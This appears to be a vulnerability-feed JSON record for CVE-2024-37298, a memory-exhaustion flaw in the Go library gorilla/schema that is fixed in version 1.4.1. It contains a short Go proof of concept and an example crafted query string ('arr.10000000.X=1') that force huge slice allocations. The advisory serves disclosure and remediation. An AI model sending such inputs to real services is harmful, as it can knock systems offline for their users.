{"id":"CVE-2024-37298","aliases":["GHSA-3669-72x9-r9p3","GO-2024-2958"],"title":"Potential memory exhaustion attack due to sparse slice deserialization","summary":"Potential memory exhaustion attack due to sparse slice deserialization","severity":"high","cvss":7.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","vendor":"gorilla","product":"github.com/gorilla/schema","ecosystem":"go","affected":["github.com/gorilla/schema < 1.4.1"],"patched":["github.com/gorilla/schema 1.4.1"],"published":"2024-07-01","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:50:16.191599309Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-3669-72x9-r9p3","references":[{"url":"https://github.com/gorilla/schema/security/advisories/GHSA-3669-72x9-r9p3"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-37298"},{"url":"https://github.com/gorilla/schema/commit/cd59f2f12cbdfa9c06aa63e425d1fe4a806967ff"},{"url":"https://github.com/gorilla/schema"},{"url":"https://github.com/gorilla/schema/blob/main/decoder.go#L223"}],"tags":["osv","go"],"epss":0.01105,"epssPercentile":0.64376,"ingestedAt":"2026-09-12T03:13:01.748Z","slug":"CVE-2024-37298","body":"## Overview\n\n### Details\n\nRunning `schema.Decoder.Decode()` on a struct that has a field of type `[]struct{...}` opens it up to malicious attacks regarding memory allocations, taking advantage of the sparse slice functionality. For instance, in the Proof of Concept written below, someone can specify to set a field of the billionth element and it will allocate all other elements before it in the slice. \n\nIn the local environment environment for my project, I was able to call an endpoint like `/innocent_endpoint?arr.10000000.X=1` and freeze my system from the memory allocation while parsing `r.Form`. I think [this line](https://github.com/gorilla/schema/blob/main/decoder.go#L223) is responsible for allocating the slice, although I haven't tested to make sure, so it's just an educated guess.\n\n### Proof of Concept\n\nThe following proof of concept works on both v1.2.0 and v1.2.1. I have not tested earlier versions.\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/gorilla/schema\"\n)\n\nfunc main() {\n\tdec := schema.NewDecoder()\n\tvar result struct {\n\t\tArr []struct{ Val int }\n\t}\n\tif err := dec.Decode(&result, map[string][]string{\"arr.1000000000.Val\": {\"1\"}}); err != nil {\n\t\tpanic(err)\n\t}\n\tfmt.Printf(\"%#+v\\n\", result)\n}\n\n```\n\n### Impact\n\nAny use of `schema.Decoder.Decode()` on a struct with arrays of other structs could be vulnerable to this memory exhaustion vulnerability. There seems to be no possible solution that a developer using this library can do to disable this behaviour without fixing it in this project, so all uses of Decode that fall under this umbrella are affected. A fix that doesn't require a major change may also be harder to find, since it could break compatibility with some other intended use-cases.\n\n\n## Affected packages\n\n- `github.com/gorilla/schema < 1.4.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/gorilla/schema 1.4.1`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.2,"exploitation":0,"ransomware":0},"changes":[]}